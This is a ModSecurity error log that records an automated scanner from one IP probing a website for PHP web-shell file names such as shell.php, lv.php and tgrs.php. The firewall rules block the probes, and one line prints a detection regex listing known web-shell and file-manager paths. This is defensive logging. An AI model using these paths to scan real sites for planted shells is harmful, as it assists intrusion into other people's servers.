[Sun Dec 21 20:02:43.921689 2025] [:error] [pid 59070:tid 59152] [client 20.2.26.82:16503] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aUfh433dhXne9KX1kgIloAAAAJg"]
[Sun Dec 21 20:02:44.253932 2025] [:error] [pid 59067:tid 59077] [client 20.2.26.82:16486] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aUfh5MtpsOP1NfIK_qJC5QAAAAM"]
[Sun Dec 21 20:02:44.539318 2025] [:error] [pid 59070:tid 59142] [client 20.2.26.82:16412] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aUfh5H3dhXne9KX1kgIloQAAAI4"]
[Sun Dec 21 20:02:44.829518 2025] [:error] [pid 59067:tid 59086] [client 20.2.26.82:16406] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-wp.php"] [unique_id "aUfh5MtpsOP1NfIK_qJC6QAAAAw"]
[Sun Dec 21 20:02:45.141347 2025] [:error] [pid 59068:tid 59101] [client 20.2.26.82:16450] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-wp.php"] [unique_id "aUfh5RmLyLqWUlrjwydvRAAAAEA"]
[Sun Dec 21 20:02:45.425984 2025] [:error] [pid 59067:tid 59084] [client 20.2.26.82:1725] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-wp.php"] [unique_id "aUfh5ctpsOP1NfIK_qJC7AAAAAo"]
[Sun Dec 21 20:02:45.718096 2025] [:error] [pid 59068:tid 59122] [client 20.2.26.82:16495] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-wp.php"] [unique_id "aUfh5RmLyLqWUlrjwydvRgAAAFU"]
[Sun Dec 21 20:02:46.022242 2025] [:error] [pid 59068:tid 59116] [client 20.2.26.82:1863] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aUfh5hmLyLqWUlrjwydvSQAAAE8"]
[Sun Dec 21 20:02:46.328389 2025] [:error] [pid 59158:tid 59176] [client 20.2.26.82:2014] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aUfh5o7NvyNF8ab5VgUfHQAAANA"]
[Sun Dec 21 20:02:46.671710 2025] [:error] [pid 59070:tid 59145] [client 20.2.26.82:16488] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aUfh5n3dhXne9KX1kgIlqgAAAJE"]
[Sun Dec 21 20:02:46.978340 2025] [:error] [pid 59067:tid 59097] [client 20.2.26.82:1745] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aUfh5stpsOP1NfIK_qJC8QAAABc"]
[Sun Dec 21 20:02:47.292487 2025] [:error] [pid 59070:tid 59150] [client 20.2.26.82:16507] [client 20.2.26.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/filemanager.php"] [unique_id "aUfh533dhXne9KX1kgIlrQAAAJY"]
[Sun Dec 21 20:02:47.598848 2025] [:error] [pid 59070:tid 59134] [client 20.2.26.82:16397] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o2.php"] [unique_id "aUfh533dhXne9KX1kgIlsAAAAIY"]
[Sun Dec 21 20:02:47.886503 2025] [:error] [pid 59158:tid 59163] [client 20.2.26.82:16444] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o2.php"] [unique_id "aUfh547NvyNF8ab5VgUfIAAAAMM"]
[Sun Dec 21 20:02:48.194281 2025] [:error] [pid 59068:tid 59120] [client 20.2.26.82:1992] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o2.php"] [unique_id "aUfh6BmLyLqWUlrjwydvUQAAAFM"]
[Sun Dec 21 20:02:48.523776 2025] [:error] [pid 59158:tid 59164] [client 20.2.26.82:16384] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aUfh6I7NvyNF8ab5VgUfIQAAAMQ"]
[Sun Dec 21 20:02:48.822303 2025] [:error] [pid 59068:tid 59103] [client 20.2.26.82:16396] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aUfh6BmLyLqWUlrjwydvVAAAAEI"]
[Sun Dec 21 20:02:49.123063 2025] [:error] [pid 59067:tid 59090] [client 20.2.26.82:16398] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aUfh6ctpsOP1NfIK_qJC9wAAABA"]
[Sun Dec 21 20:02:49.425735 2025] [:error] [pid 59067:tid 59088] [client 20.2.26.82:16400] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aUfh6ctpsOP1NfIK_qJC-wAAAA4"]
[Sun Dec 21 20:02:49.787496 2025] [:error] [pid 59067:tid 59082] [client 20.2.26.82:16407] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aUfh6ctpsOP1NfIK_qJDAgAAAAg"]
[Sun Dec 21 20:02:50.141652 2025] [:error] [pid 59067:tid 59077] [client 20.2.26.82:16486] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aUfh6stpsOP1NfIK_qJDBQAAAAM"]
[Sun Dec 21 20:02:50.495095 2025] [:error] [pid 59158:tid 59170] [client 20.2.26.82:16402] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aUfh6o7NvyNF8ab5VgUfJAAAAMo"]
[Sun Dec 21 20:02:50.826755 2025] [:error] [pid 59158:tid 59183] [client 20.2.26.82:16457] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aUfh6o7NvyNF8ab5VgUfJwAAANc"]
[Sun Dec 21 20:02:51.159303 2025] [:error] [pid 59068:tid 59118] [client 20.2.26.82:16479] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CLA.php"] [unique_id "aUfh6xmLyLqWUlrjwydvXAAAAFE"]
[Sun Dec 21 20:02:51.508733 2025] [:error] [pid 59068:tid 59110] [client 20.2.26.82:2006] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CLA.php"] [unique_id "aUfh6xmLyLqWUlrjwydvXgAAAEk"]
[Sun Dec 21 20:02:51.812696 2025] [:error] [pid 59158:tid 59180] [client 20.2.26.82:1692] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CLA.php"] [unique_id "aUfh647NvyNF8ab5VgUfKwAAANQ"]
[Sun Dec 21 20:02:52.136253 2025] [:error] [pid 59158:tid 59175] [client 20.2.26.82:2036] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CLA.php"] [unique_id "aUfh7I7NvyNF8ab5VgUfLgAAAM8"]
[Sun Dec 21 20:02:52.473432 2025] [:error] [pid 59067:tid 59093] [client 20.2.26.82:2017] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "aUfh7MtpsOP1NfIK_qJDCwAAABM"]
[Sun Dec 21 20:02:52.795882 2025] [:error] [pid 59068:tid 59109] [client 20.2.26.82:16415] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "aUfh7BmLyLqWUlrjwydvZgAAAEg"]
[Sun Dec 21 20:02:53.137321 2025] [:error] [pid 59068:tid 59121] [client 20.2.26.82:2033] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "aUfh7RmLyLqWUlrjwydvaQAAAFQ"]
[Sun Dec 21 20:02:54.449371 2025] [:error] [pid 59158:tid 59172] [client 20.2.26.82:1659] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "aUfh7o7NvyNF8ab5VgUfMwAAAMw"]
[Sun Dec 21 20:02:54.790141 2025] [:error] [pid 59070:tid 59132] [client 20.2.26.82:16497] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ouh.php"] [unique_id "aUfh7n3dhXne9KX1kgIlygAAAIQ"]
[Sun Dec 21 20:02:55.156858 2025] [:error] [pid 59068:tid 59103] [client 20.2.26.82:16424] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ouh.php"] [unique_id "aUfh7xmLyLqWUlrjwydvbwAAAEI"]
[Sun Dec 21 20:02:55.524018 2025] [:error] [pid 59067:tid 59083] [client 20.2.26.82:16386] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ouh.php"] [unique_id "aUfh78tpsOP1NfIK_qJDDAAAAAk"]
[Sun Dec 21 20:02:55.858465 2025] [:error] [pid 59070:tid 59144] [client 20.2.26.82:16463] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ouh.php"] [unique_id "aUfh733dhXne9KX1kgIlzwAAAJA"]
[Sun Dec 21 20:02:56.205123 2025] [:error] [pid 59158:tid 59182] [client 20.2.26.82:16388] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "aUfh8I7NvyNF8ab5VgUfOAAAANY"]
[Sun Dec 21 20:02:56.560462 2025] [:error] [pid 59070:tid 59139] [client 20.2.26.82:16509] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "aUfh8H3dhXne9KX1kgIl2QAAAIs"]
[Sun Dec 21 20:02:56.898398 2025] [:error] [pid 59158:tid 59163] [client 20.2.26.82:16442] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "aUfh8I7NvyNF8ab5VgUfOgAAAMM"]
[Sun Dec 21 20:02:57.287450 2025] [:error] [pid 59070:tid 59147] [client 20.2.26.82:16410] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "aUfh8X3dhXne9KX1kgIl3AAAAJM"]
[Sun Dec 21 20:02:57.664171 2025] [:error] [pid 59070:tid 59144] [client 20.2.26.82:1814] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aUfh8X3dhXne9KX1kgIl3gAAAJA"]
[Sun Dec 21 20:02:57.998647 2025] [:error] [pid 59070:tid 59134] [client 20.2.26.82:16433] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aUfh8X3dhXne9KX1kgIl3wAAAIY"]
[Sun Dec 21 20:02:58.335795 2025] [:error] [pid 59070:tid 59142] [client 20.2.26.82:16510] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aUfh8n3dhXne9KX1kgIl4wAAAI4"]
[Sun Dec 21 20:02:58.705753 2025] [:error] [pid 59070:tid 59143] [client 20.2.26.82:16508] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aUfh8n3dhXne9KX1kgIl5AAAAI8"]
[Sun Dec 21 20:02:59.056476 2025] [:error] [pid 59070:tid 59129] [client 20.2.26.82:16439] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tgrs.php"] [unique_id "aUfh833dhXne9KX1kgIl6AAAAIE"]
[Sun Dec 21 20:02:59.430920 2025] [:error] [pid 59070:tid 59133] [client 20.2.26.82:16408] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tgrs.php"] [unique_id "aUfh833dhXne9KX1kgIl6gAAAIU"]
[Sun Dec 21 20:02:59.790492 2025] [:error] [pid 59067:tid 59096] [client 20.2.26.82:16506] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tgrs.php"] [unique_id "aUfh88tpsOP1NfIK_qJDEwAAABY"]
[Sun Dec 21 20:03:00.133942 2025] [:error] [pid 59070:tid 59151] [client 20.2.26.82:1701] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tgrs.php"] [unique_id "aUfh9H3dhXne9KX1kgIl7QAAAJc"]
[Sun Dec 21 20:03:00.478200 2025] [:error] [pid 59067:tid 59075] [client 20.2.26.82:2004] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/system_log.php"] [unique_id "aUfh9MtpsOP1NfIK_qJDFQAAAAE"]
[Sun Dec 21 20:03:00.819086 2025] [:error] [pid 59068:tid 59115] [client 20.2.26.82:1712] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/system_log.php"] [unique_id "aUfh9BmLyLqWUlrjwydvfAAAAE4"]
[Sun Dec 21 20:03:01.161939 2025] [:error] [pid 59068:tid 59106] [client 20.2.26.82:16392] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/system_log.php"] [unique_id "aUfh9RmLyLqWUlrjwydvfQAAAEU"]
[Sun Dec 21 20:03:01.495738 2025] [:error] [pid 59067:tid 59077] [client 20.2.26.82:1994] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/system_log.php"] [unique_id "aUfh9ctpsOP1NfIK_qJDGAAAAAM"]
[Sun Dec 21 20:03:01.800007 2025] [:error] [pid 59068:tid 59121] [client 20.2.26.82:2020] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aUfh9RmLyLqWUlrjwydvgAAAAFQ"]
[Sun Dec 21 20:03:02.107297 2025] [:error] [pid 59067:tid 59084] [client 20.2.26.82:1936] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aUfh9stpsOP1NfIK_qJDGgAAAAo"]
[Sun Dec 21 20:03:02.453497 2025] [:error] [pid 59070:tid 59139] [client 20.2.26.82:1671] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aUfh9n3dhXne9KX1kgIl8gAAAIs"]
[Sun Dec 21 20:03:02.772015 2025] [:error] [pid 59070:tid 59151] [client 20.2.26.82:16493] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aUfh9n3dhXne9KX1kgIl-AAAAJc"]
[Sun Dec 21 20:03:03.134288 2025] [:error] [pid 59070:tid 59138] [client 20.2.26.82:1714] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z.php"] [unique_id "aUfh933dhXne9KX1kgIl-QAAAIo"]
